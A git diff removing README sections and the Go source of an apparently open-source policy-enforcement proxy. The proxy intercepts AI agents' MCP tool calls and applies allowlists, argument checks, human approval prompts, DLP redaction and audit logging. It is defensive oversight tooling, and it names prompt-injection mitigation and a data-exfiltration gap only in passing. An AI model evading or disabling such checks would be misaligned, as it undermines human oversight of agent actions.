Documentation - -| Document | Description | -|----------|-------------| -| [Quickstart](docs/quickstart.md) | Step-by-step tutorial with echo server | -| [Architecture](docs/architecture.md) | Deep dive into proxy design | -| [Integration Guide](docs/integration-guide.md) | Cursor, VS Code, Claude Desktop setup | -| [Policy Reference](../../docs/policy-reference.md) | Complete YAML schema | -| [AIP v1alpha1 Spec](../../spec/aip-v1alpha1.md) | Original protocol spec | -| [AIP v1alpha2 Spec](../../spec/aip-v1alpha2.md) | Identity & server-side validation | - -## Examples - -See [`examples/`](examples/) for ready-to-use policies: - -- `agent.yaml` β€” Full-featured example with all options -- `read-only.yaml` β€” Block all write operations -- `gpu-policy.yaml` β€” GPU/ML workload controls -- `gemini-jack-defense.yaml` β€” Prompt injection mitigation -- `monitor-mode.yaml` β€” Dry-run testing -- `identity-server.yaml` β€” v1alpha2 identity tokens + HTTP server - -## Architecture - -``` -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ MCP Client │────▢│ AIP Proxy │────▢│ MCP Server β”‚ -β”‚ (Agent) │◀────│ Policy Engine │◀────│ (Subprocess) β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ - β”‚ - β–Ό - β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” - β”‚ Audit Log β”‚ - β”‚ (JSONL) β”‚ - β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -``` - -The proxy: -1. Intercepts JSON-RPC messages on stdin/stdout -2. Evaluates `tools/call` requests against the policy -3. Blocks, allows, or prompts for approval -4. Logs all decisions to the audit file -5. Applies DLP redaction to responses - -## Development - -```bash -# Build -make build - -# Test -make test - -# Lint -make lint - -# All checks -make all -``` - -## License - -Apache 2.0 β€” See [LICENSE](../../LICENSE) diff --git a/implementations/go-proxy/cmd/aip-conformance/main.go b/implementations/go-proxy/cmd/aip-conformance/main.go deleted file mode 100644 index 863ce91..0000000 --- a/implementations/go-proxy/cmd/aip-conformance/main.go +++ /dev/null @@ -1,356 +0,0 @@ -package main - -import ( - "flag" - "fmt" - "os" - "path/filepath" - "strings" - - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/dlp" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy" - "gopkg.in/yaml.v3" -) - -// Test Suite Structs -type TestSuite struct { - Name string `yaml:"name"` - Description string `yaml:"description"` - Tests []TestCase `yaml:"tests"` -} - -type TestCase struct { - ID string `yaml:"id"` - Description string `yaml:"description"` - Policy string `yaml:"policy"` - Input TestInput `yaml:"input"` - Expected TestExpected `yaml:"expected"` -} - -type TestInput struct { - Method string `yaml:"method"` - Tool string `yaml:"tool"` - Args map[string]interface{} `yaml:"args"` - Type string `yaml:"type"` // For DLP: "response" - Content string `yaml:"content"` // For DLP - Context map[string]interface{} `yaml:"context"` -} - -type TestExpected struct { - Decision string `yaml:"decision"` - ErrorCode *int `yaml:"error_code"` - Violation *bool `yaml:"violation"` - Redacted bool `yaml:"redacted"` // For DLP - Output string `yaml:"output"` // For DLP - DLPEvents *[]DLPEvent `yaml:"dlp_events"` // For DLP - ResponseFormat map[string]interface{} `yaml:"response_format"` -} - -type DLPEvent struct { - Rule string `yaml:"rule"` - Count int `yaml:"count"` -} - -// Result tracking -type TestResult struct { - ID string - Passed bool - Message string -} - -func main() { - level := flag.String("level", "basic", "Conformance level: basic, full, identity, server") - verbose := flag.Bool("verbose", false, "Verbose output") - specDir := flag.String("spec-dir", "../../../../spec/conformance", "Path to conformance spec directory") - flag.Parse() - - fmt.Println("AIP Conformance Test Runner") - fmt.Printf("Level: %s\n", *level) - - dirs := getDirsForLevel(*level) - if len(dirs) == 0 { - fmt.Printf("Unknown level: %s\n", *level) - os.Exit(1) - } - - totalPassed := 0 - totalTests := 0 - allPassed := true - - for _, dir := range dirs { - fullPath := filepath.Join(*specDir, dir) - - // Check if directory exists - if _, err := os.Stat(fullPath); os.IsNotExist(err) { - if *verbose { - fmt.Printf("Skipping missing directory: %s\n", fullPath) - } - continue - } - - files, err := os.ReadDir(fullPath) - if err != nil { - fmt.Printf("Error reading directory %s: %v\n", fullPath, err) - os.Exit(1) - } - - fmt.Printf("\nRunning tests in %s/...\n", dir) - - for _, file := range files { - if !strings.HasSuffix(file.Name(), ".yaml") { - continue - } - - suiteResults := runTestSuite(filepath.Join(fullPath, file.Name()), *verbose) - - fmt.Printf("\n%s\n", file.Name()) - for _, res := range suiteResults { - totalTests++ - if res.Passed { - totalPassed++ - fmt.Printf(" βœ“ %s: %s\n", res.ID, res.Message) // Added message to success for clarity if needed, usually empty - } else { - allPassed = false - fmt.Printf(" βœ— %s: %s\n", res.ID, res.Message) - } - } - } - } - - fmt.Printf("\nResults: %d/%d passed\n", totalPassed, totalTests) - if !allPassed { - os.Exit(1) - } -} - -func getDirsForLevel(level string) []string { - switch level { - case "basic": - return []string{"basic"} - case "full": - return []string{"basic", "full"} - case "identity": - return []string{"basic", "full", "identity"} - case "server": - return []string{"basic", "full", "identity", "server"} - default: - return []string{} - } -} - -func runTestSuite(path string, verbose bool) []TestResult { - data, err := os.ReadFile(path) - if err != nil { - return []TestResult{{ID: "LOAD", Passed: false, Message: fmt.Sprintf("Failed to read file: %v", err)}} - } - - var suite TestSuite - if err := yaml.Unmarshal(data, &suite); err != nil { - return []TestResult{{ID: "PARSE", Passed: false, Message: fmt.Sprintf("Failed to parse YAML: %v", err)}} - } - - var results []TestResult - for _, test := range suite.Tests { - res := runTestCase(test, verbose) - // Clean up message for passed tests to avoid clutter - if res.Passed && !verbose { - res.Message = test.Description // Use description for success output - } - results = append(results, res) - } - return results -} - -func runTestCase(test TestCase, verbose bool) TestResult { - // Handle DLP tests - if test.Input.Type == "response" { - return runDLPTest(test) - } - - // Handle Policy tests - engine := policy.NewEngine() - - // Load policy if present - if test.Policy != "" { - if err := engine.Load([]byte(test.Policy)); err != nil { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Failed to load policy: %v", err)} - } - } - - // Simulate previous calls for rate limiting - if calls, ok := test.Input.Context["previous_calls"]; ok { - n := 0 - switch v := calls.(type) { - case int: - n = v - case float64: - n = int(v) - } - for i := 0; i < n; i++ { - engine.IsAllowed(test.Input.Tool, test.Input.Args) - } - } - - // Execute test - var decision string - var errorCode *int - var violation bool - - // Check method level first - methodDecision := engine.IsMethodAllowed(test.Input.Method) - if !methodDecision.Allowed { - decision = "BLOCK" - code := -32006 // Method Not Allowed - errorCode = &code - violation = true - } else if strings.ToLower(test.Input.Method) == "tools/call" { - // Tool level check - d := engine.IsAllowed(test.Input.Tool, test.Input.Args) - - decision, errorCode, violation = mapDecision(d) - } else { - // Allowed non-tool method - decision = "ALLOW" - errorCode = nil - violation = false - } - - // Special handling for User Denied/Timeout (err-020, err-021) - // If the test expects BLOCK due to user denial/timeout (-32004/-32005), - // and the engine returns ASK, we consider it a pass for the engine. - if decision == "ASK" && test.Expected.Decision == "BLOCK" { - if test.Expected.ErrorCode != nil && (*test.Expected.ErrorCode == -32004 || *test.Expected.ErrorCode == -32005) { - // Engine correctly identified it needs approval. - // The simulated user denial (in input.context) would lead to BLOCK in a full proxy. - return TestResult{ID: test.ID, Passed: true, Message: "Engine returned ASK, implied BLOCK by user denial"} - } - } - - // Determine expected error code (handling response_format fallback) - expectedErrorCode := test.Expected.ErrorCode - if expectedErrorCode == nil && test.Expected.ResponseFormat != nil { - if errObj, ok := test.Expected.ResponseFormat["error"].(map[string]interface{}); ok { - if code, ok := errObj["code"]; ok { - switch v := code.(type) { - case int: - c := v - expectedErrorCode = &c - case float64: - c := int(v) - expectedErrorCode = &c - } - } - } - } - - // Compare results - if decision != test.Expected.Decision { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected decision %s, got %s", test.Expected.Decision, decision)} - } - - if expectedErrorCode != nil { - if errorCode == nil { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected error code %d, got nil", *expectedErrorCode)} - } - if *errorCode != *expectedErrorCode { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected error code %d, got %d", *expectedErrorCode, *errorCode)} - } - } else { - // Only enforce nil error code if we expect success - if test.Expected.Decision == "ALLOW" || test.Expected.Decision == "ASK" { - if errorCode != nil { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected no error code, got %d", *errorCode)} - } - } - } - - if test.Expected.Violation != nil { - if *test.Expected.Violation != violation { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected violation %v, got %v", *test.Expected.Violation, violation)} - } - } - - return TestResult{ID: test.ID, Passed: true, Message: test.Description} -} - -func mapDecision(d policy.Decision) (string, *int, bool) { - var decision string - var errorCode *int - violation := d.ViolationDetected - - switch d.Action { - case policy.ActionAllow: - decision = "ALLOW" - errorCode = nil - case policy.ActionBlock: - decision = "BLOCK" - code := -32001 - errorCode = &code - case policy.ActionAsk: - decision = "ASK" - errorCode = nil - case policy.ActionRateLimited: - decision = "RATE_LIMITED" - code := -32002 - errorCode = &code - case policy.ActionProtectedPath: - decision = "BLOCK" // Spec says BLOCK for protected path - code := -32007 - errorCode = &code - default: - decision = "UNKNOWN" - } - - return decision, errorCode, violation -} - -func runDLPTest(test TestCase) TestResult { - engine := policy.NewEngine() - if err := engine.Load([]byte(test.Policy)); err != nil { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Failed to load policy: %v", err)} - } - - dlpConfig := engine.GetDLPConfig() - scanner, err := dlp.NewScanner(dlpConfig) - if err != nil { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Failed to create DLP scanner: %v", err)} - } - - output, events := scanner.Redact(test.Input.Content) - - // Check Redacted flag - wasRedacted := output != test.Input.Content - if test.Expected.Redacted != wasRedacted { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected redacted %v, got %v", test.Expected.Redacted, wasRedacted)} - } - - // Check Output - if test.Expected.Output != output { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected output %q, got %q", test.Expected.Output, output)} - } - - // Check Events - if test.Expected.DLPEvents != nil { - expectedEvents := make(map[string]int) - for _, e := range *test.Expected.DLPEvents { - expectedEvents[e.Rule] = e.Count - } - - actualEvents := make(map[string]int) - for _, e := range events { - actualEvents[e.RuleName] += e.MatchCount - } - - if len(expectedEvents) != len(actualEvents) { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected %d event types, got %d", len(expectedEvents), len(actualEvents))} - } - - for rule, count := range expectedEvents { - if actualEvents[rule] != count { - return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected %d matches for rule %q, got %d", count, rule, actualEvents[rule])} - } - } - } - - return TestResult{ID: test.ID, Passed: true, Message: test.Description} -} diff --git a/implementations/go-proxy/cmd/aip-proxy/main.go b/implementations/go-proxy/cmd/aip-proxy/main.go deleted file mode 100644 index 43b5c68..0000000 --- a/implementations/go-proxy/cmd/aip-proxy/main.go +++ /dev/null @@ -1,1059 +0,0 @@ -// AIP - Agent Identity Protocol Proxy -// -// A policy enforcement proxy for MCP (Model Context Protocol) that intercepts -// tool calls and enforces security policies between AI agents and tool servers. -// -// Architecture: -// -// β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -// β”‚ MCP Client │────▢│ AIP Proxy │────▢│ MCP Server β”‚ -// β”‚ (Agent) │◀────│ Policy Engine │◀────│ (Subprocess) β”‚ -// β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -// -// Features: -// - Tool allowlist enforcement (only permitted tools can be called) -// - Argument validation with regex patterns -// - Human-in-the-Loop approval (action: ask) via native OS dialogs -// - DLP (Data Loss Prevention) output scanning and redaction -// - JSONL audit logging for compliance and debugging -// - Monitor mode for testing policies without enforcement -// -// TODO(v1beta1): Network Egress Control -// -// The current implementation enforces tool-level authorization but does not -// restrict network egress from MCP server subprocesses. A compromised server -// could still exfiltrate data via HTTP, DNS, or other protocols. -// -// Proposed approaches (see spec/aip-v1alpha1.md Appendix D): -// - Linux: eBPF-based socket filtering, network namespaces -// - macOS: Network Extension framework, sandbox-exec profiles -// - Container: --network=none with explicit port forwarding -// - Cross-platform: Transparent HTTP proxy with allowlist -// -// This is tracked as a future extension in the AIP specification. -// -// Usage: -// -// # Basic usage - wrap an MCP server with policy enforcement -// aip --target "python mcp_server.py" --policy policy.yaml -// -// # Generate Cursor IDE configuration -// aip --generate-cursor-config --policy policy.yaml --target "docker run mcp/server" -// -// # Monitor mode (log violations but don't block) -// aip --target "npx @mcp/server" --policy monitor.yaml --verbose -// -// For more information: https://github.com/ArangoGutierrez/agent-identity-protocol -package main - -import ( - "bufio" - "context" - "encoding/json" - "flag" - "fmt" - "io" - "log" - "os" - "os/exec" - "os/signal" - "path/filepath" - "strings" - "sync" - "syscall" - "time" - - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/audit" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/dlp" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/identity" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/protocol" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/server" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/ui" -) - -// ----------------------------------------------------------------------------- -// Configuration -// ----------------------------------------------------------------------------- - -// Config holds the proxy's runtime configuration parsed from flags. -type Config struct { - // Target is the command to run as the MCP server subprocess. - // Example: "python server.py" or "npx @modelcontextprotocol/server-filesystem" - Target string - - // PolicyPath is the path to the agent.yaml policy file. - PolicyPath string - - // AuditPath is the path to the audit log file. - // Default: "aip-audit.jsonl" in current directory. - // CRITICAL: Must NOT be stdout or any path that writes to stdout. - AuditPath string - - // Verbose enables detailed logging of intercepted messages. - Verbose bool - - // GenerateCursorConfig prints Cursor IDE MCP configuration and exits. - GenerateCursorConfig bool -} - -func parseFlags() *Config { - cfg := &Config{} - - // Custom usage message - flag.Usage = func() { - fmt.Fprintf(os.Stderr, `AIP - Agent Identity Protocol Proxy - -A security proxy that enforces policies on MCP tool calls. - -USAGE: - aip --target "command" --policy policy.yaml [options] - -EXAMPLES: - # Wrap an MCP server with policy enforcement - aip --target "python mcp_server.py" --policy policy.yaml - - # Run in monitor mode (logs violations but doesn't block) - aip --target "npx @mcp/server" --policy monitor.yaml --verbose - - # Generate configuration for Cursor IDE - aip --generate-cursor-config --policy policy.yaml --target "docker run mcp/server" - -MODES: - Enforce (default): - Blocks tool calls that violate policy rules. - Returns JSON-RPC error (-32001) to the client. - - Monitor (spec.mode: monitor in policy): - Logs violations but allows all requests through. - Use for testing policies before enforcement. - -AUDIT LOGS: - All tool calls are logged to the audit file (default: aip-audit.jsonl). - Each entry includes: timestamp, tool, args, decision, violation status. - View logs: cat aip-audit.jsonl | jq '.' - Find violations: cat aip-audit.jsonl | jq 'select(.violation == true)' - -OPTIONS: -`) - flag.PrintDefaults() - fmt.Fprintf(os.Stderr, ` -POLICY FILE: - See examples/ directory for policy templates: - - read-only.yaml Only allow read operations - - monitor-mode.yaml Log everything, block nothing - - gemini-jack-defense.yaml Defense against prompt injection - -For more information: https://github.com/ArangoGutierrez/agent-identity-protocol -`) - } - - flag.StringVar(&cfg.Target, "target", "", "Command to run as MCP server (required)") - flag.StringVar(&cfg.PolicyPath, "policy", "agent.yaml", "Path to policy YAML file") - flag.StringVar(&cfg.AuditPath, "audit", "aip-audit.jsonl", "Path to audit log file") - flag.BoolVar(&cfg.Verbose, "verbose", false, "Enable verbose logging to stderr") - flag.BoolVar(&cfg.GenerateCursorConfig, "generate-cursor-config", false, "Print Cursor MCP config JSON and exit") - - flag.Parse() - - // If generating config, we need both target and policy - if cfg.GenerateCursorConfig { - if cfg.Target == "" || cfg.PolicyPath == "" { - fmt.Fprintln(os.Stderr, "Error: --generate-cursor-config requires both --target and --policy") - os.Exit(1) - } - return cfg - } - - // Normal mode requires target - if cfg.Target == "" { - fmt.Fprintln(os.Stderr, "Error: --target flag is required") - fmt.Fprintln(os.Stderr, "Run 'aip -h' for usage information") - os.Exit(1) - } - - return cfg -} - -// ----------------------------------------------------------------------------- -// Main Entry Point -// ----------------------------------------------------------------------------- - -func main() { - cfg := parseFlags() - - // Handle config generation mode - if cfg.GenerateCursorConfig { - generateCursorConfig(cfg) - return - } - - // CRITICAL STREAM SAFETY: - // - stdout is RESERVED for JSON-RPC transport (client ↔ server) - // - stderr is used for operational logs (via log.Logger) - // - audit logs go to a FILE (via audit.Logger) - // NEVER write logs to stdout - it corrupts the JSON-RPC stream - - // Initialize operational logging to stderr - // stderr is safe because it doesn't interfere with JSON-RPC on stdout - logger := log.New(os.Stderr, "[aip-proxy] ", log.LstdFlags|log.Lmsgprefix) - - // Load the policy file - engine := policy.NewEngine() - if err := engine.LoadFromFile(cfg.PolicyPath); err != nil { - logger.Fatalf("Failed to load policy: %v", err) - } - logger.Printf("Loaded policy: %s (API version: %s)", engine.GetPolicyName(), engine.GetAPIVersion()) - logger.Printf("Allowed tools: %v", engine.GetAllowedTools()) - logger.Printf("Policy mode: %s", engine.GetMode()) - - // Initialize identity manager if configured (v1alpha2) - var identityManager *identity.Manager - if identityCfg := engine.GetIdentityConfig(); identityCfg != nil && identityCfg.Enabled { - idConfig := &identity.Config{ - Enabled: identityCfg.Enabled, - TokenTTL: identityCfg.TokenTTL, - RotationInterval: identityCfg.RotationInterval, - RequireToken: identityCfg.RequireToken, - SessionBinding: identityCfg.SessionBinding, - } - - var err error - identityManager, err = identity.NewManager( - engine.GetPolicyName(), - engine.GetPolicyPath(), - engine.GetPolicyData(), - idConfig, - ) - if err != nil { - logger.Fatalf("Failed to initialize identity manager: %v", err) - } - - // Set up token event logging - identityManager.OnTokenIssued(func(token *identity.Token) { - logger.Printf("Identity token issued: session=%s, expires=%s", token.SessionID, token.ExpiresAt) - }) - identityManager.OnTokenRotated(func(oldToken, newToken *identity.Token) { - logger.Printf("Identity token rotated: session=%s, new_expiry=%s", newToken.SessionID, newToken.ExpiresAt) - }) - - logger.Printf("Identity management enabled: session=%s, require_token=%v", - identityManager.GetSessionID(), idConfig.RequireToken) - } - - // Initialize audit logger (writes to file, NEVER stdout) - auditMode := audit.PolicyModeEnforce - if engine.IsMonitorMode() { - auditMode = audit.PolicyModeMonitor - } - auditLogger, err := audit.NewLogger(&audit.Config{ - FilePath: cfg.AuditPath, - Mode: auditMode, - }) - if err != nil { - logger.Fatalf("Failed to initialize audit logger: %v", err) - } - defer func() { _ = auditLogger.Close() }() - logger.Printf("Audit logging to: %s", cfg.AuditPath) - - // Create context for graceful shutdown - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - - // Start identity manager if enabled (v1alpha2) - if identityManager != nil { - if err := identityManager.Start(ctx); err != nil { - logger.Fatalf("Failed to start identity manager: %v", err) - } - defer identityManager.Stop() - } - - // Start HTTP server if enabled (v1alpha2) - var httpServer *server.Server - if serverCfg := engine.GetServerConfig(); serverCfg != nil && serverCfg.Enabled { - srvConfig := &server.Config{ - Enabled: serverCfg.Enabled, - Listen: serverCfg.Listen, - } - if serverCfg.TLS != nil { - srvConfig.TLS = &server.TLSConfig{ - Cert: serverCfg.TLS.Cert, - Key: serverCfg.TLS.Key, - ClientCA: serverCfg.TLS.ClientCA, - RequireClientCert: serverCfg.TLS.RequireClientCert, - } - } - if serverCfg.Endpoints != nil { - srvConfig.Endpoints = &server.EndpointsConfig{ - Validate: serverCfg.Endpoints.Validate, - Health: serverCfg.Endpoints.Health, - Metrics: serverCfg.Endpoints.Metrics, - } - } - - var err error - httpServer, err = server.NewServer(srvConfig, engine, identityManager, logger) - if err != nil { - logger.Fatalf("Failed to create HTTP server: %v", err) - } - if err := httpServer.Start(); err != nil { - logger.Fatalf("Failed to start HTTP server: %v", err) - } - defer func() { - shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second) - defer shutdownCancel() - _ = httpServer.Stop(shutdownCtx) - }() - } - - // Set up signal handling for graceful shutdown - sigChan := make(chan os.Signal, 1) - signal.Notify(sigChan, syscall.SIGTERM, syscall.SIGINT) - - // Start the subprocess - proxy, err := NewProxy(ctx, cfg, engine, logger, auditLogger, identityManager) - if err != nil { - logger.Fatalf("Failed to start proxy: %v", err) - } - - // Handle shutdown signals with graceful termination - // IMPORTANT: Send SIGTERM first, wait for graceful exit, then force kill - go func() { - sig := <-sigChan - logger.Printf("Received signal %v, initiating graceful shutdown...", sig) - - // Step 1: Request graceful shutdown (sends SIGTERM to subprocess) - proxy.Shutdown() - - // Step 2: Give subprocess time to exit gracefully - // The proxy.Run() loop will detect subprocess exit via cmd.Wait() - gracefulTimeout := time.After(10 * time.Second) - - select { - case <-gracefulTimeout: - // Subprocess didn't exit in time, force kill via context cancellation - logger.Printf("Graceful shutdown timeout, forcing termination...") - cancel() - case <-proxy.ctx.Done(): - // Context already done (subprocess exited or other cancellation) - } - }() - - // Run the proxy (blocks until subprocess exits) - exitCode := proxy.Run() - - // Ensure audit logs are flushed before exit - if err := auditLogger.Sync(); err != nil { - logger.Printf("Warning: failed to sync audit log: %v", err) - } - - os.Exit(exitCode) -} - -// ----------------------------------------------------------------------------- -// Cursor Config Generator -// ----------------------------------------------------------------------------- - -// generateCursorConfig prints a JSON configuration snippet for Cursor IDE's -// MCP settings file (~/.cursor/mcp.json). This makes it easy to integrate -// AIP with Cursor by wrapping MCP servers with policy enforcement. -func generateCursorConfig(cfg *Config) { - // Get absolute path to current executable - execPath, err := os.Executable() - if err != nil { - fmt.Fprintf(os.Stderr, "Error: failed to get executable path: %v\n", err) - os.Exit(1) - } - execPath, err = filepath.EvalSymlinks(execPath) - if err != nil { - fmt.Fprintf(os.Stderr, "Error: failed to resolve executable path: %v\n", err) - os.Exit(1) - } - - // Get absolute path to policy file - policyPath, err := filepath.Abs(cfg.PolicyPath) - if err != nil { - fmt.Fprintf(os.Stderr, "Error: failed to resolve policy path: %v\n", err) - os.Exit(1) - } - - // Verify policy file exists - if _, err := os.Stat(policyPath); os.IsNotExist(err) { - fmt.Fprintf(os.Stderr, "Warning: policy file does not exist: %s\n", policyPath) - } - - // Build the configuration structure - config := map[string]interface{}{ - "mcpServers": map[string]interface{}{ - "protected-tool": map[string]interface{}{ - "command": execPath, - "args": []string{ - "--policy", policyPath, - "--target", cfg.Target, - }, - }, - }, - } - - // Pretty print JSON - output, err := json.MarshalIndent(config, "", " ") - if err != nil { - fmt.Fprintf(os.Stderr, "Error: failed to generate JSON: %v\n", err) - os.Exit(1) - } - - fmt.Println(string(output)) - fmt.Fprintln(os.Stderr, "") - fmt.Fprintln(os.Stderr, "Add the above JSON to ~/.cursor/mcp.json") - fmt.Fprintln(os.Stderr, "Then restart Cursor to enable the protected MCP server.") -} - -// ----------------------------------------------------------------------------- -// Proxy Implementation -// ----------------------------------------------------------------------------- - -// Proxy manages the subprocess and IO goroutines. -// -// The proxy is the core "Man-in-the-Middle" component. It: -// 1. Spawns the target MCP server as a subprocess -// 2. Intercepts messages flowing from client (stdin) to server (subprocess) -// 3. Applies policy checks to tool/call requests -// 4. Passes through allowed requests, blocks forbidden ones -// 5. Prompts user for approval on action="ask" rules (Human-in-the-Loop) -// 6. Scans downstream responses for sensitive data (DLP) and redacts -// 7. Logs all decisions to the audit log file (NEVER stdout) -// 8. Validates identity tokens if configured (v1alpha2) -type Proxy struct { - ctx context.Context - cfg *Config - engine *policy.Engine - logger *log.Logger - auditLogger *audit.Logger - prompter *ui.Prompter - dlpScanner *dlp.Scanner - identityManager *identity.Manager // v1alpha2 - - // cmd is the subprocess running the target MCP server - cmd *exec.Cmd - - // subStdin is the pipe to write to the subprocess's stdin - subStdin io.WriteCloser - - // subStdout is the pipe to read from the subprocess's stdout - subStdout io.ReadCloser - - // wg tracks the IO goroutines for clean shutdown - wg sync.WaitGroup - - // mu protects concurrent writes to stdout - // CRITICAL: Only JSON-RPC responses go to stdout, never logs - mu sync.Mutex -} - -// NewProxy creates and starts a new proxy instance. -// -// This function: -// 1. Parses the target command into executable and arguments -// 2. Creates the subprocess with piped stdin/stdout -// 3. Initializes the user prompter for Human-in-the-Loop approval -// 4. Initializes the DLP scanner for output redaction -// 5. Starts the subprocess -// -// The subprocess inherits our stderr for error output visibility. -// The auditLogger is used to record all policy decisions to a file. -func NewProxy(ctx context.Context, cfg *Config, engine *policy.Engine, logger *log.Logger, auditLogger *audit.Logger, identityManager *identity.Manager) (*Proxy, error) { - // Parse the target command - // Simple space-split; doesn't handle quoted args (use shell wrapper if needed) - parts := strings.Fields(cfg.Target) - if len(parts) == 0 { - return nil, fmt.Errorf("empty target command") - } - - // Create the subprocess command - cmd := exec.CommandContext(ctx, parts[0], parts[1:]...) - - // Get pipes for subprocess communication - subStdin, err := cmd.StdinPipe() - if err != nil { - return nil, fmt.Errorf("failed to create stdin pipe: %w", err) - } - - subStdout, err := cmd.StdoutPipe() - if err != nil { - return nil, fmt.Errorf("failed to create stdout pipe: %w", err) - } - - // Initialize DLP scanner for output redaction (needed before stderr setup) - var dlpScanner *dlp.Scanner - dlpCfg := engine.GetDLPConfig() - if dlpCfg != nil && dlpCfg.IsEnabled() { - dlpScanner, err = dlp.NewScanner(dlpCfg) - if err != nil { - return nil, fmt.Errorf("failed to initialize DLP scanner: %w", err) - } - logger.Printf("DLP enabled with %d patterns: %v", dlpScanner.PatternCount(), dlpScanner.PatternNames()) - if dlpScanner.DetectsEncoding() { - logger.Printf("DLP encoding detection enabled (base64/hex)") - } - } else { - logger.Printf("WARNING: DLP is disabled. Tool arguments may contain secrets that will be logged unredacted to the audit file.") - } - - // Configure subprocess stderr - optionally filtered through DLP - // This prevents secrets from leaking through error logs - if dlpCfg != nil && dlpCfg.FilterStderr && dlpScanner != nil { - cmd.Stderr = dlp.NewFilteredWriter(os.Stderr, dlpScanner, logger, "[subprocess]") - logger.Printf("DLP stderr filtering enabled") - } else { - cmd.Stderr = os.Stderr - } - - // Initialize the user prompter for Human-in-the-Loop approval - // Check for headless environment and log a warning - prompter := ui.NewPrompter(nil) // Use default config (60s timeout, rate limiting) - prompter.SetLogger(logger.Printf) // Enable rate limit warnings - if ui.IsHeadless() { - logger.Printf("Warning: Running in headless environment; action=ask rules will auto-deny") - } - logger.Printf("Approval rate limiting: max %d prompts/minute, %v cooldown", - ui.DefaultMaxPromptsPerMinute, ui.DefaultCooldownDuration) - - // Start the subprocess - if err := cmd.Start(); err != nil { - return nil, fmt.Errorf("failed to start subprocess: %w", err) - } - - logger.Printf("Started subprocess PID %d: %s", cmd.Process.Pid, cfg.Target) - - return &Proxy{ - ctx: ctx, - cfg: cfg, - engine: engine, - logger: logger, - auditLogger: auditLogger, - prompter: prompter, - dlpScanner: dlpScanner, - identityManager: identityManager, - cmd: cmd, - subStdin: subStdin, - subStdout: subStdout, - }, nil -} - -// Run starts the IO handling goroutines and waits for completion. -// -// Returns the subprocess exit code (0 on success, non-zero on error). -func (p *Proxy) Run() int { - // Start the downstream goroutine (Server β†’ Client) - // This copies subprocess stdout to our stdout (passthrough) - p.wg.Add(1) - go p.handleDownstream() - - // Start the upstream goroutine (Client β†’ Server) - // This intercepts stdin, applies policy, forwards or blocks - // p.wg.Add(1) // FIX: Don't wait for Upstream (prevents deadlock) - go p.handleUpstream() - - // Wait for subprocess to exit - err := p.cmd.Wait() - if err != nil { - if exitErr, ok := err.(*exec.ExitError); ok { - return exitErr.ExitCode() - } - p.logger.Printf("Subprocess error: %v", err) - return 1 - } - - // Wait for IO goroutines to finish - p.wg.Wait() - - return 0 -} - -// Shutdown performs graceful termination of the subprocess. -// -// IMPORTANT: Signal Propagation Limitations -// -// This sends SIGTERM to the direct child process. However, signals may not -// propagate correctly in all scenarios: -// -// - Direct binary: Signal propagates correctly -// - Shell wrapper: Signal may only kill the shell, not child processes -// - Docker container: Signal goes to `docker` CLI, not the container -// -// For Docker targets, users should use: -// -// docker run --rm --init -i -// -// The --rm flag removes the container on exit, --init ensures proper signal -// handling inside the container, and -i keeps stdin open for JSON-RPC. -// -// See examples/docker-wrapper.yaml for a complete Docker policy example. -func (p *Proxy) Shutdown() { - if p.cmd.Process != nil { - p.logger.Printf("Terminating subprocess PID %d", p.cmd.Process.Pid) - // Send SIGTERM first for graceful shutdown - // NOTE: For Docker targets, this signals the docker CLI, not the container. - // Use --rm --init flags on docker run to ensure proper cleanup. - _ = p.cmd.Process.Signal(syscall.SIGTERM) - } -} - -// ----------------------------------------------------------------------------- 